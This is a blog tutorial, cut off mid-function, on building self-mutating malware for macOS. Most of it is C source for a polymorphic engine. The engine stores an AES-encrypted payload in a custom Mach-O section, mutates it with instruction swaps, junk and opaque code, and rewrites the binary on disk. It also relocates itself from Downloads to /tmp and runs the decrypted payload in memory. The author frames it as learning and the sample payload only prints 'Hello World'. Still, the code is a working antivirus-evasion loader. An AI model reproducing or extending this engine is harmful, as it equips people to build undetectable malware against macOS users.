Today’s post is about writing fully custom malware targeting macOS.
We’ll walk through its architecture, mutation, and anti-analysis techniques, with a focus on Mach-O internals and Darwin APIs. macOS malware is fun, not the “I’m gonna steal your cat photos” kind of fun, but the “let’s see how far we can bend Mach-O files before SIP slaps us” kind. If you know anything about me, you know I love writing self-modifying code, even though it never works (skill issue).
This piece covers some known techniques and isn’t here to hand you malware, so don’t get it twisted. There’s nothing fancy or groundbreaking just the basics anyone with some free time and bad ideas can mess around with.
Some familiarity with malware development is expected. I don’t care if you’re on Linux or Windows techniques may vary, but the core concepts stay the same: debugging and working low-level. If you’re new to macOS, check out the first article for the basics; it’ll get you ready for what’s coming.
The main reason for this piece is pretty simple: a long-term obsession with macOS internals, a curiosity about macOS malware, and, most importantly, just having fun and learning something new. As always, I’ll keep explanations tight and clear. We’ll break down detailed, step-by-step code and techniques so you can follow along and actually understand what’s happening.
References:
“macOS is no exception; it’s not malware-proof.”
THE ARCHITECTURE
The code examples and concepts here were tested on macOS 14+ (Sonoma), including ARM-based systems. I can’t guarantee they’ll work on every setup. If there’s a better source for something, I’ll reference it - the goal is to stay thorough without reinventing the wheel.
One more thing: I’m splitting this into smaller code stubs to make it easier to show each technique as we move. If you want to jump ahead, all the code is here:
- Aether — a small package to mess around with.
Self-mutating code dynamically modifies itself at runtime. This macOS implementation leans on the Mach-O format and system APIs, using a custom section in the __DATA
segment to store and evolve the payload. The architecture breaks into two distinct phases:
Parent Process: Responsible for initialization, decryption, mutation, re-encryption, and self-saving of the updated payload. During this phase, the engine generates encryption keys, decrypts the stored payload, mutates it (through instruction swapping and junk insertion), and then re-encrypts it with fresh keys. Capstone is used to disassemble and verify the mutated code, ensuring that every change results in valid instructions.
Mutant Process: Executes the core functionality by running the evolved, self-modified code. This process takes the dynamically updated payload from the Parent Process and executes it, allowing the engine’s behavior to continuously evolve with each run after certain conditions are met.
Core Idea:
The malware encrypts its own payload, decrypts and mutates it at runtime - a basic form of polymorphism. But don’t get ahead of yourself. We’ll break down the mutation engine, how it ticks internally, and the tricks it uses to stay persistent.
╔═════════════════════════════════════════════════════════════╗
║ INITIAL DESIGN ║
╠═════════════════════════════════════════════════════════════╣
║ 1. Validate Execution Environment ║
║ ├─ If running outside /tmp (~/Downloads): ║
║ │ └─ Copy self to /tmp and exec the copy ║
║ └─ Else: ║
║ └─ Self-destruct ║
║ ║
║ 2. Read encrypted payload and header from __DATA section ║
║ 3. Payload ║
║ ├─ If first run: ║
║ │ └─ Initialize payload (NOPs + payload), encrypt it, ║
║ │ update header (count = 1) ║
║ └─ Else: ║
║ ├─ Decrypt payload ║
║ ├─ Verify payload integrity (SHA‑256 hash) ║
║ ├─ Mutate payload (via disassembly-based mutation) ║
║ ├─ Generate new AES keys/IVs and re–encrypt payload ║
║ └─ Write updated header and payload back to binary ║
║ ║
║ 4. Load the decrypted payload ║
║ 5. Execute the payload (performs its task then ...) ║
║ 6. Mutation Cycle: ║
║ - On next run, the mutation cycle repeats or die ║
╚═════════════════════════════════════════════════════════════╝
First, let’s break down what Signatures actually are. A signature is just a byte pattern antivirus software uses to flag malicious files. It could be a string, a small piece of code, a hash anything that helps it hunt bad files. To dodge this, encryption gets layered in so antivirus can’t match known signatures.
Then there’s the Payload the actual file hidden behind the encryption. It doesn’t live on its own; it’s stuck onto the Stub somehow. Maybe it’s embedded as a resource, slapped onto the end of a file, or tucked inside a new or existing section (we’ll get into that soon).
The Stub is a tiny piece with one job: decrypt the payload and fire it in memory. Since the payload’s encrypted, antivirus can’t hit it directly so it goes after the stub instead. But the stub’s so simple it’s easy to tweak, letting it slide past detection again and again.
So, what’s the move? A few ways you can play it.
On one hand, you could stay minimal: a self-modifying loader that’s small, fast to write, and easy to maintain. It would pull off modest mutations a couple quick changes here and there, enough to slip by without much noise. Upside? Your code stays lean, ugly, and yours.
“What starts as polymorphic finishes as metamorphic.”
On the flip side, you could go full metamorphic. Here, the loader doesn’t just tweak itself, it tears itself apart and rebuilds from scratch. New layout, fresh instruction flow, changed encryption every time it breathes. Even if a reverse engineer or scanner grabs one copy, the next generation’s a stranger.
See:
Of course, this comes with its own mess. Making sure each transformation doesn’t wreck functionality is a whole problem on its own. You need heuristics things like checking instruction counts, validating branches, and sanity-checking changes just to make sure the thing doesn’t crash and burn.
This piece isn’t fully about mutation, but since it’s stitched into the design, here’s a small taste to get your hands dirty. It’s close to how our engine works (not giving away everything full thing’s on GitHub), but this snippet should give you the general idea.
Just know it’s half-baked.
“This is bad coding.”
mutator.c
/* 0x00s: Entry inc */
#include <stdio.h> // stdio
#include <stdlib.h> // mem alloc, exit
#include <fcntl.h>
#include <unistd.h> // read/write ops
#include <string.h>
#include <sys/random.h> // getentropy
#include <sys/mman.h> // mmap, mprotect
#include <sys/stat.h>
#include <sys/types.h>
#include <stdint.h>
#include <errno.h>
#include <signal.h>
#include <stdbool.h>
#include <time.h>
#include <mach-o/dyld.h> // _NSGetExecutablePath
#include <mach-o/getsect.h> // extract sect data
#include <mach-o/loader.h> // Mach-O defs
#include <capstone/capstone.h> // disasm
#include <CommonCrypto/CommonCryptor.h> // AES
#include <CommonCrypto/CommonDigest.h> // SHA256
/* Macros */
#define K 32 // AES key len
#define S 30 // Stub offset in payload
#define J 16 // Max junk size
#define P 4096 // Payload size/page size
/* Structs */
typedef struct __attribute__((packed)) {
uint8_t key[K]; // AES key
uint8_t iv[kCCBlockSizeAES128]; // AES IV
uint64_t seed; // RNG seed
uint32_t count; // Mutation counter
uint8_t hash[CC_SHA256_DIGEST_LENGTH]; // SHA256 checksum
} Encryption;
typedef struct {
uint8_t key[K]; // PRNG key
uint8_t iv[12]; // PRNG IV
uint8_t stream[64]; // Output block
size_t position; // Stream offset
uint64_t counter; // Block counter
} ChaCha;
typedef struct {
csh handle; // Capstone handle
cs_insn *insns; // Disasm buffer
size_t count; // Instr count
uint8_t *original; // Orig code ptr
size_t size; // Code size
ChaCha rng; // Mutation RNG state
} Evolution;
/* Provided by linker */
extern struct mach_header_64 _mh_execute_header;
/* Data section: holds encryption header + payload.
__attribute__((used)) prevents stripping. */
__attribute__((used, section("__DATA,__fdata"))) static uint8_t data[sizeof(Encryption) + P];
// https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/Articles/MachOOverview.html
/* Arch config */
// https://github.com/capstone-engine/capstone
#if defined(__x86_64__)
#define ARCH_X86 1
#define ARC CS_ARCH_X86
#define MODE CS_MODE_64
#include <capstone/x86.h> // x86 defs
#elif defined(__arm64__)
#define ARCH_ARM 1
#define ARC CS_ARCH_ARM64
#define MODE 0
#include <capstone/arm64.h> // ARM64 defs
#else
#error "Unsupported arch"
#endif
/* Dummy payload: prints "Hello World" */
const uint8_t dummy[] = {
#ifdef ARCH_X86
0xeb, 0x1e, // jmp to payload
0x5e, // pop rsi
0xb8, 0x04, 0x00, 0x00, 0x02, // mov eax, 4
0xbf, 0x01, 0x00, 0x00, 0x00, // mov edi, 1
0xba, 0x0e, 0x00, 0x00, 0x00, // mov edx, 0x0e
0x0f, 0x05, // syscall (write)
0xb8, 0x01, 0x00, 0x00, 0x02, // mov eax, 1
0xbf, 0x00, 0x00, 0x00, 0x00, // mov edi, 0
0x0f, 0x05, // syscall (exit)
0xe8, 0xdd, 0xff, 0xff, 0xff, // call jmp target
0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f,
0x72, 0x6c, 0x64, 0x21, 0x0d, 0x0a // "Hello World!\r\n"
#elif defined(ARCH_ARM)
0x00, 0x80, 0x20, 0xd1, // sub sp, sp, #0x20
0x02, 0x00, 0x00, 0x90, // adrp x2, 0
0x22, 0x40, 0x00, 0xf9, // str x2, [sp]
0x20, 0x00, 0x80, 0x52, // mov w0, #1
0x21, 0x00, 0x80, 0x52, // mov w1, #1
0x40, 0x00, 0x80, 0x52, // mov w2, #14
0x00, 0x00, 0x00, 0x4d, // mov x16, #0x2000004
0x00, 0x00, 0x00, 0x01, // svc 0
0x20, 0x00, 0x80, 0x52, // mov w0, #1
0x00, 0x00, 0x00, 0x4d, // mov x16, #0x2000001
0x00, 0x00, 0x00, 0x01, // svc 0
0x00, 0x02, 0x1f, 0x61, // br #0x40
0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f,
0x72, 0x6c, 0x64, 0x21, 0x0d, 0x0a // "Hello World!\r\n"
#endif
};
const size_t len = sizeof(dummy); // payload len
/* ChaCha20 macros */
// Why AES and ChaCha20? Overkill maybe? Who know's.
// https://github.com/aead/chacha20
#define ROTL32(x, n) (((x) << (n)) | ((x) >> (32 - (n))))
#define QR(a, b, c, d) (a += b, d ^= a, d = ROTL32(d, 16), c += d, b ^= c, b = ROTL32(b, 12), \
a += b, d ^= a, d = ROTL32(d, 8), c += d, b ^= c, b = ROTL32(b, 7))
/* ChaCha20 block generator */
void chacha20_block(const uint32_t key[8], uint32_t counter, const uint32_t nonce[3], uint32_t out[16]) {
uint32_t state[16], orig[16], c[4] = {0x61707865, 0x3320646e, 0x79622d32, 0x6B206574};
state[0] = c[0]; state[1] = c[1]; state[2] = c[2]; state[3] = c[3];
memcpy(&state[4], key, 32); // load key
state[12] = counter;
memcpy(&state[13], nonce, 12); // load nonce
memcpy(orig, state, sizeof(state));
for (int i = 0; i < 10; i++) {
QR(state[0], state[4], state[8], state[12]);
QR(state[1], state[5], state[9], state[13]);
QR(state[2], state[6], state[10], state[14]);
QR(state[3], state[7], state[11], state[15]);
QR(state[0], state[5], state[10], state[15]);
QR(state[1], state[6], state[11], state[12]);
QR(state[2], state[7], state[8], state[13]);
QR(state[3], state[4], state[9], state[14]);
}
for (int i = 0; i < 16; i++)
out[i] = state[i] + orig[i];
}
/* Return 32-bit PRNG value */
uint32_t chacha20_random(ChaCha *rng) {
if (rng->position >= 64) {
uint32_t key[8], nonce[3];
memcpy(key, rng->key, 32);
memcpy(nonce, rng->iv, 12);
chacha20_block(key, (uint32_t)rng->counter, nonce, (uint32_t *)rng->stream);
rng->counter++;
rng->position = 0;
}
uint32_t v;
memcpy(&v, rng->stream + rng->position, sizeof(v));
rng->position += sizeof(v);
return v;
}
/* Initialize ChaCha state using seed hash */
void chacha20_init(ChaCha *rng, const uint8_t *seed, size_t len) {
uint8_t hash[CC_SHA256_DIGEST_LENGTH];
CC_SHA256(seed, (CC_LONG)len, hash);
memcpy(rng->key, hash, K);
uint8_t ivh[CC_SHA256_DIGEST_LENGTH];
CC_SHA256(hash, CC_SHA256_DIGEST_LENGTH, ivh);
memcpy(rng->iv, ivh, 12);
rng->position = 64;
rng->counter = ((uint64_t)time(NULL)) ^ getpid();
}
/* Check if branch target is valid */
bool branch(uint64_t t) {
#ifdef ARCH_X86
const uintptr_t START = 0x1000;
return (t >= START && t < (START + P));
#elif defined(ARCH_ARM)
const uintptr_t START = 0x10000;
return (t >= START && t < (START + P));
#else
return true;
#endif
}
/* Validate disassembled instruction */
bool verify(csh h, const cs_insn *i) {
if (!i) return false;
#ifdef ARCH_X86
cs_detail *d = i->detail;
if (!d) return false;
for (size_t j = 0; j < d->groups_count; j++) {
if (d->groups[j] == CS_GRP_PRIVILEGE) { // https://www.felixcloutier.com/x86/cli
fprintf(stderr, "(%s) rejected\n", i->mnemonic);
return false;
}
}
if ((i->id == X86_INS_JMP || i->id == X86_INS_CALL ||
i->id == X86_INS_JE || i->id == X86_INS_JNE ||
i->id == X86_INS_LOOP) &&
(d->x86.op_count > 0 && d->x86.operands[0].type == X86_OP_IMM)) {
if (!branch(d->x86.operands[0].imm)) {
fprintf(stderr, "Branch 0x%llx out\n", d->x86.operands[0].imm);
return false;
}
}
#elif defined(ARCH_ARM)
cs_detail *d = i->detail;
if (!d) return false;
for (size_t j = 0; j < d->groups_count; j++) {
if (d->groups[j] == CS_GRP_PRIVILEGE) {
fprintf(stderr, "(%s) rejected\n", i->mnemonic);
return false;
}
}
if ((i->id == ARM64_INS_B || i->id == ARM64_INS_BL ||
i->id == ARM64_INS_CBZ || i->id == ARM64_INS_CBNZ ||
i->id == ARM64_INS_TBB || i->id == ARM64_INS_TBZ) &&
(d->arm64.op_count > 0 && d->arm64.operands[0].type == ARM64_OP_IMM)) {
if (!branch(d->arm64.operands[0].imm)) {
fprintf(stderr, "Branch 0x%llx out\n", d->arm64.operands[0].imm);
return false;
}
}
#endif
return true;
}
/* Disassemble & validate code block */
bool ratify(csh h, const uint8_t *code, size_t len) {
cs_insn *i = NULL;
bool valid = true;
cs_option(h, CS_OPT_DETAIL, CS_OPT_ON);
size_t cnt = cs_disasm(h, code, len, 0, 1, &i);
if (cnt != 1) {
fprintf(stderr, "Disasm fail for bytes:");
for (size_t k = 0; k < len; k++) fprintf(stderr, " %02x", code[k]);
fprintf(stderr, "\n");
valid = false;
goto cleanup;
}
if (i[0].size != len) {
fprintf(stderr, "Expected %zu, got %u bytes\n", len, i[0].size);
valid = false;
goto cleanup;
}
if (!verify(h, i)) {
valid = false;
goto cleanup;
}
cleanup:
if (i) cs_free(i, 1);
return valid;
}
/* Mutation ptr */
typedef void (*Morph)(uint8_t *code, size_t sz, ChaCha *rng);
/* Swap two instructions of equal size */
void swap(uint8_t *code, size_t sz, ChaCha *rng) {
#ifdef ARCH_X86
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &ctx.handle) != CS_ERR_OK) return;
ctx.count = cs_disasm(ctx.handle, code, sz, (uintptr_t)code, 0, &ctx.insns);
if (!ctx.count) { cs_close(&ctx.handle); return; }
if (ctx.count < 2) { cs_free(ctx.insns, ctx.count); cs_close(&ctx.handle); return; }
size_t i = chacha20_random(rng) % ctx.count;
size_t j = chacha20_random(rng) % ctx.count;
if (i == j || ctx.insns[i].size != ctx.insns[j].size) {
cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
return;
}
size_t off_i = ctx.insns[i].address - (uintptr_t)code;
size_t off_j = ctx.insns[j].address - (uintptr_t)code;
size_t insz = ctx.insns[i].size;
if (off_i + insz > sz || off_j + insz > sz) {
cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
return;
}
uint8_t temp_i[32], temp_j[32];
memcpy(temp_i, code + off_i, insz);
memcpy(temp_j, code + off_j, insz);
memcpy(code + off_i, temp_j, insz);
memcpy(code + off_j, temp_i, insz);
if (!ratify(ctx.handle, code + off_i, insz) ||
!ratify(ctx.handle, code + off_j, insz)) {
memcpy(code + off_i, temp_i, insz);
memcpy(code + off_j, temp_j, insz);
}
if (ctx.insns) cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
#elif defined(ARCH_ARM)
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(CS_ARCH_ARM64, 0, &ctx.handle) != CS_ERR_OK) return;
ctx.count = cs_disasm(ctx.handle, code, sz, (uintptr_t)code, 0, &ctx.insns);
if (!ctx.count) { cs_close(&ctx.handle); return; }
if (ctx.count < 2) { cs_free(ctx.insns, ctx.count); cs_close(&ctx.handle); return; }
size_t i = chacha20_random(rng) % ctx.count;
size_t j = chacha20_random(rng) % ctx.count;
if (i == j || ctx.insns[i].size != ctx.insns[j].size) {
cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
return;
}
size_t off_i = ctx.insns[i].address - (uintptr_t)code;
size_t off_j = ctx.insns[j].address - (uintptr_t)code;
size_t insz = ctx.insns[i].size;
if (off_i + insz > sz || off_j + insz > sz) {
cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
return;
}
uint8_t temp_i[32], temp_j[32];
memcpy(temp_i, code + off_i, insz);
memcpy(temp_j, code + off_j, insz);
memcpy(code + off_i, temp_j, insz);
memcpy(code + off_j, temp_i, insz);
if (!ratify(ctx.handle, code + off_i, insz) ||
!ratify(ctx.handle, code + off_j, insz)) {
memcpy(code + off_i, temp_i, insz);
memcpy(code + off_j, temp_j, insz);
}
if (ctx.insns) cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
#endif
}
/* Insert junk opcodes at random spot */
void trash(uint8_t *code, size_t sz, ChaCha *rng) {
#ifdef ARCH_X86
if (sz >= J) {
size_t pos = chacha20_random(rng) % (sz - J);
uint32_t choice = chacha20_random(rng) % 4;
size_t len = 0;
switch (choice) {
case 0: {
if (sz - pos < 8) break;
uint8_t seq[8] = {0x48, 0x83, 0xC0, 0x01, 0x48, 0x83, 0xE8, 0x01};
memcpy(code + pos, seq, 8);
len = 8;
} break;
case 1: {
if (sz - pos < 2) break;
uint8_t seq[2] = {0x50, 0x58};
memcpy(code + pos, seq, 2);
len = 2;
} break;
case 2: {
if (sz - pos < 10) break;
uint32_t imm = chacha20_random(rng);
uint8_t seq[10];
seq[0] = 0xB8;
memcpy(seq + 1, &imm, 4);
seq[5] = 0x35;
memcpy(seq + 6, &imm, 4);
memcpy(code + pos, seq, 10);
len = 10;
} break;
case 3: {
if (sz - pos < 3) break;
uint8_t seq[3] = {0x48, 0x31, 0xC0};
memcpy(code + pos, seq, 3);
len = 3;
} break;
default:
break;
}
if (len > 0) {
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(ARC, MODE, &ctx.handle) != CS_ERR_OK) return;
if (!ratify(ctx.handle, code + pos, len)) {
memset(code + pos, 0x90, len);
}
cs_close(&ctx.handle);
}
}
#elif defined(ARCH_ARM)
if (sz >= J) {
size_t pos = chacha20_random(rng) % (sz - J);
uint32_t choice = chacha20_random(rng) % 4;
size_t len = 0;
switch (choice) {
case 0: {
if (sz - pos < 4) break;
uint8_t seq[4] = {0x00, 0x00, 0x80, 0xd2};
memcpy(code + pos, seq, 4);
len = 4;
} break;
case 1: {
if (sz - pos < 4) break;
uint8_t seq[4] = {0x00, 0x00, 0x80, 0x12};
memcpy(code + pos, seq, 4);
len = 4;
} break;
case 2: {
if (sz - pos < 8) break;
uint32_t imm = chacha20_random(rng);
uint8_t seq[8];
seq[0] = 0x00;
seq[1] = 0x00;
seq[2] = 0x80;
seq[3] = 0xd2;
memcpy(seq + 4, &imm, 4);
memcpy(code + pos, seq, 8);
len = 8;
} break;
case 3: {
if (sz - pos < 4) break;
uint8_t seq[4] = {0x00, 0x20, 0x80, 0xd2};
memcpy(code + pos, seq, 4);
len = 4;
} break;
default:
break;
}
if (len > 0) {
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(ARC, MODE, &ctx.handle) != CS_ERR_OK) return;
if (!ratify(ctx.handle, code + pos, len)) {
memset(code + pos, 0x90, len);
}
cs_close(&ctx.handle);
}
}
#endif
}
/* Insert opaque: very simple, I recommend a disassembler to understand. */
void Opaque(uint8_t *code, size_t sz, ChaCha *rng) {
#ifdef ARCH_X86
if (sz < 12) return;
uint32_t imm = chacha20_random(rng);
uint8_t seq[12];
seq[0] = 0xB8;
memcpy(seq + 1, &imm, 4);
seq[5] = 0x3D;
memcpy(seq + 6, &imm, 4);
seq[10] = 0x74;
seq[11] = 0x00;
size_t pos = chacha20_random(rng) % (sz - 12);
memcpy(code + pos, seq, 12);
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(ARC, MODE, &ctx.handle) != CS_ERR_OK) return;
if (!ratify(ctx.handle, code + pos, 12)) {
memset(code + pos, 0x90, 12);
}
cs_close(&ctx.handle);
#elif defined(ARCH_ARM)
if (sz < 12) return;
uint32_t imm = chacha20_random(rng);
uint8_t seq[12];
seq[0] = 0x00;
seq[1] = 0x00;
seq[2] = 0x80;
seq[3] = 0x52;
memcpy(seq + 4, &imm, 4);
seq[8] = 0x00;
seq[9] = 0x00;
seq[10] = 0x80;
seq[11] = 0x72;
size_t pos = chacha20_random(rng) % (sz - 12);
memcpy(code + pos, seq, 12);
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(ARC, MODE, &ctx.handle) != CS_ERR_OK) return;
if (!ratify(ctx.handle, code + pos, 12)) {
memset(code + pos, 0x90, 12);
}
cs_close(&ctx.handle);
#endif
}
/* Replace an instruction with NOPs */
void nopOut(uint8_t *code, size_t sz, ChaCha *rng) {
#ifdef ARCH_X86
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(CS_ARCH_X86, CS_MODE_64, &ctx.handle) != CS_ERR_OK) return;
ctx.count = cs_disasm(ctx.handle, code, sz, (uintptr_t)code, 0, &ctx.insns);
if (!ctx.count) { cs_close(&ctx.handle); return; }
size_t i = chacha20_random(rng) % ctx.count;
size_t off = ctx.insns[i].address - (uintptr_t)code;
size_t insz = ctx.insns[i].size;
if (off + insz > sz) { cs_free(ctx.insns, ctx.count); cs_close(&ctx.handle); return; }
uint8_t bak[32];
memcpy(bak, code + off, insz);
if (insz >= 1 && insz <= 10) {
static const uint8_t nop_sequences[][10] = {
{0x90},
{0x66, 0x90},
{0x0F, 0x1F, 0x00},
{0x0F, 0x1F, 0x40, 0x00},
{0x0F, 0x1F, 0x44, 0x00, 0x00},
{0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00},
{0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00},
{0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00},
{0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00},
{0x0F, 0x1F, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
};
memcpy(code + off, nop_sequences[insz - 1], insz);
} else {
memset(code + off, 0x90, insz);
}
if (!ratify(ctx.handle, code + off, insz)) {
memcpy(code + off, bak, insz);
}
if (ctx.insns) cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
#elif defined(ARCH_ARM)
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
if (cs_open(CS_ARCH_ARM64, 0, &ctx.handle) != CS_ERR_OK) return;
ctx.count = cs_disasm(ctx.handle, code, sz, (uintptr_t)code, 0, &ctx.insns);
if (!ctx.count) { cs_close(&ctx.handle); return; }
size_t i = chacha20_random(rng) % ctx.count;
size_t off = ctx.insns[i].address - (uintptr_t)code;
size_t insz = ctx.insns[i].size;
if (off + insz > sz) { cs_free(ctx.insns, ctx.count); cs_close(&ctx.handle); return; }
uint8_t bak[32];
memcpy(bak, code + off, insz);
if (insz >= 1 && insz <= 4) {
static const uint8_t nop_sequences[][4] = {
{0x1f, 0x20, 0x03, 0xd5},
{0x1f, 0x20, 0x03, 0xd5},
{0x1f, 0x20, 0x03, 0xd5},
{0x1f, 0x20, 0x03, 0xd5}
};
memcpy(code + off, nop_sequences[insz - 1], insz);
} else {
memset(code + off, 0x1f, insz);
}
if (!ratify(ctx.handle, code + off, insz)) {
memcpy(code + off, bak, insz);
}
if (ctx.insns) cs_free(ctx.insns, ctx.count);
cs_close(&ctx.handle);
#endif
}
// str
Morph engine[] = {
swap,
trash,
Opaque,
nopOut
};
/* Mutation routine: apply multiple passes and revert if too degraded */
void mutate(uint8_t *code, size_t sz, ChaCha *rng) {
Evolution ctx = {0};
ctx.original = code;
ctx.size = sz;
ctx.rng = *rng;
#if defined(ARCH_X86)
if (cs_open(CS_ARCH_X86, CS_MODE_64, &ctx.handle) != CS_ERR_OK) return;
#elif defined(ARCH_ARM)
if (cs_open(CS_ARCH_ARM64, 0, &ctx.handle) != CS_ERR_OK) return;
#endif
ctx.count = cs_disasm(ctx.handle, code, sz, (uintptr_t)code, 0, &ctx.insns);
if (!ctx.count) { cs_close(&ctx.handle); return; }
uint8_t *backup = malloc(sz);
if (!backup) { cs_free(ctx.insns, ctx.count); cs_close(&ctx.handle); return; }
memcpy(backup, code, sz);
size_t original_count = ctx.count;
for (int pass = 0; pass < 3; pass++) {
Morph strategy = engine[chacha20_random(&ctx.rng) % (sizeof(engine) / sizeof(engine[0]))];
strategy(code, sz, &ctx.rng);
}
cs_insn *final = NULL;
size_t final_count = cs_disasm(ctx.handle, code, sz, (uintptr_t)code, 0, &final);
if (final_count < (original_count * 0.9)) {
memcpy(code, backup, sz);
}
free(backup);
if (ctx.insns) cs_free(ctx.insns, ctx.count);
if (final) cs_free(final, final_count);
cs_close(&ctx.handle);
*rng = ctx.rng;
}
/* Mutate payload region, skipping stub */
void mutate_payload(uint8_t *code, size_t sz, ChaCha *rng) {
if (sz <= S) return;
uint8_t *target = code + S;
size_t target_size = sz - S;
#ifdef MU
mutate(target, target_size, rng);
#else
// No mutation: MU flag off.
#endif
}
/* Volatile memcpy to defeat optimizations */
void _memcpy(void *dst, const void *src, size_t len) {
volatile uint8_t *d = dst;
const volatile uint8_t *s = src;
while (len--) *d++ = *s++;
}
/* Volatile zeroing */
void zer(void *p, size_t len) {
volatile uint8_t *x = p;
while (len--) *x++ = 0;
}
/* AES encrypt/decrypt wrapper */
void crypt_payload(int enc, const uint8_t *key, const uint8_t *iv,
const uint8_t *in, uint8_t *out, size_t len) {
CCCryptorRef cr;
CCCryptorStatus st = CCCryptorCreate(enc ? kCCEncrypt : kCCDecrypt,
kCCAlgorithmAES, 0, key, K, iv, &cr);
if (st != kCCSuccess) return;
size_t moved = 0;
if (CCCryptorUpdate(cr, in, len, out, len, &moved) != kCCSuccess) {
CCCryptorRelease(cr);
return;
}
size_t fin = 0;
CCCryptorFinal(cr, out + moved, len - moved, &fin);
CCCryptorRelease(cr);
}
#define cipher(k, iv, in, out, len) crypt_payload(1, k, iv, in, out, len)
#define decipher(k, iv, in, out, len) crypt_payload(0, k, iv, in, out, len)
/* Write back modified __fdata section */
void save(uint8_t *data, size_t sz) {
// https://developer.apple.com/documentation/foundation/nsbundle/1409078-executablepath
char path[1024];
uint32_t ps = sizeof(path);
if (_NSGetExecutablePath(path, &ps) != 0) return;
int fd = open(path, O_RDWR);
if (fd < 0) { perror("open"); return; }
struct mach_header_64 *h = &_mh_execute_header; // https://developer.apple.com/documentation/kernel/mach_header_64
uint64_t off = 0;
struct load_command *lc = (struct load_command *)((char *)h + sizeof(*h));
for (uint32_t i = 0; i < h->ncmds; i++) {
if (lc->cmd == LC_SEGMENT_64) {
struct segment_command_64 *seg = (struct segment_command_64 *)lc; // https://developer.apple.com/documentation/kernel/segment_command_64
struct section_64 *sec = (struct section_64 *)((char *)seg + sizeof(*seg));
for (uint32_t j = 0; j < seg->nsects; j++) {
if (!strcmp(sec[j].sectname, "__fdata") &&
!strcmp(sec[j].segname, "__DATA")) {
off = sec[j].offset;
size_t section_size = sec[j].size;
if (sz > section_size) {
fprintf(stderr, "Got %zu bytes, only %llu available\n", sz, section_size);
close(fd);
return;
}
break;
}
}
}
lc = (struct load_command *)((char *)lc + lc->cmdsize); // https://developer.apple.com/documentation/kernel/load_command/
}
if (off == 0) { fprintf(stderr, "Section not found\n"); close(fd); return; }
if (lseek(fd, off, SEEK_SET) == -1) { perror("lseek"); close(fd); return; }
size_t tot = 0;
while (tot < sz) {
ssize_t w = write(fd, data + tot, sz - tot);
if (w <= 0) { perror("write"); break; }
tot += w;
}
if (tot != sz) fprintf(stderr, "Incomplete write\n");
close(fd);
}
/* Check for privileged ops */
bool check_priv(uint8_t *code, size_t sz) {
csh h;
cs_insn *ins = NULL;
bool priv = false;
if (cs_open(ARC, MODE, &h) != CS_ERR_OK) {
fprintf(stderr, "Capstone fail\n");
return true;
}
cs_option(h, CS_OPT_DETAIL, CS_OPT_ON);
size_t cnt = cs_disasm(h, code, sz, (uintptr_t)code, 0, &ins);
if (cnt > 0) {
for (size_t i = 0; i < cnt; i++) {
#ifdef ARCH_X86
cs_detail *d = ins[i].detail;
for (size_t j = 0; j < d->groups_count; j++) {
if (d->groups[j] == CS_GRP_PRIVILEGE) {
fprintf(stderr, "Priv op: %s %s\n", ins[i].mnemonic, ins[i].op_str);
priv = true;
break;
}
}
#elif defined(ARCH_ARM)
cs_detail *d = ins[i].detail;
for (size_t j = 0; j < d->groups_count; j++) {
if (d->groups[j] == CS_GRP_PRIVILEGE) {
fprintf(stderr, "Priv op: %s %s\n", ins[i].mnemonic, ins[i].op_str);
priv = true;
break;
}
}
#endif
if (priv) break;
}
} else { fprintf(stderr, "Disasm fail\n"); priv = true; }
cs_free(ins, cnt);
cs_close(&h);
return priv;
}
/* Make code executable and jump */
void execute(uint8_t *code, size_t sz) {
long ps = sysconf(_SC_PAGESIZE);
if (ps <= 0) { perror("sysconf"); return; }
uintptr_t addr = (uintptr_t)code, start = addr & ~(ps - 1);
size_t off = addr - start, tot = off + sz, al = (tot + ps - 1) & ~(ps - 1);
if (mprotect((void *)start, al, PROT_READ | PROT_EXEC) != 0) { perror("mprotect"); return; }
#if defined(__arm__) || defined(__aarch64__)
__builtin___clear_cache((char *)code, (char *)code + sz);
#endif
if (check_priv(code, sz))
return;
void (*fn)(void) = (void (*)(void))code;
fn();
}
/* Relocate if running in non-dir */
void whereuat() {
char exe_path[1024];
uint32_t size = sizeof(exe_path);
_NSGetExecutablePath(exe_path, &size);
if (strstr(exe_path, "/tmp/") != NULL) {
return;
} else if (strstr(exe_path, "/Downloads/") != NULL) {
char *base = strrchr(exe_path, '/');
if (!base) base = exe_path; else base++;
char tmp_path[1024];
snprintf(tmp_path, sizeof(tmp_path), "/tmp/%s", base);
FILE *source = fopen(exe_path, "rb");
if (!source) { perror("fopen source"); exit(1); }
FILE *dest = fopen(tmp_path, "wb");
if (!dest) { perror("fopen dest"); fclose(source); exit(1); }
char buf[4096];
size_t n;
while ((n = fread(buf, 1, sizeof(buf), source)) > 0) {
if (fwrite(buf, 1, n, dest) != n) { perror("fwrite"); fclose(source); fclose(dest); exit(1); }
}
fclose(source); fclose(dest);
chmod(tmp_path, 0755);
char *args[] = {tmp_path, NULL};
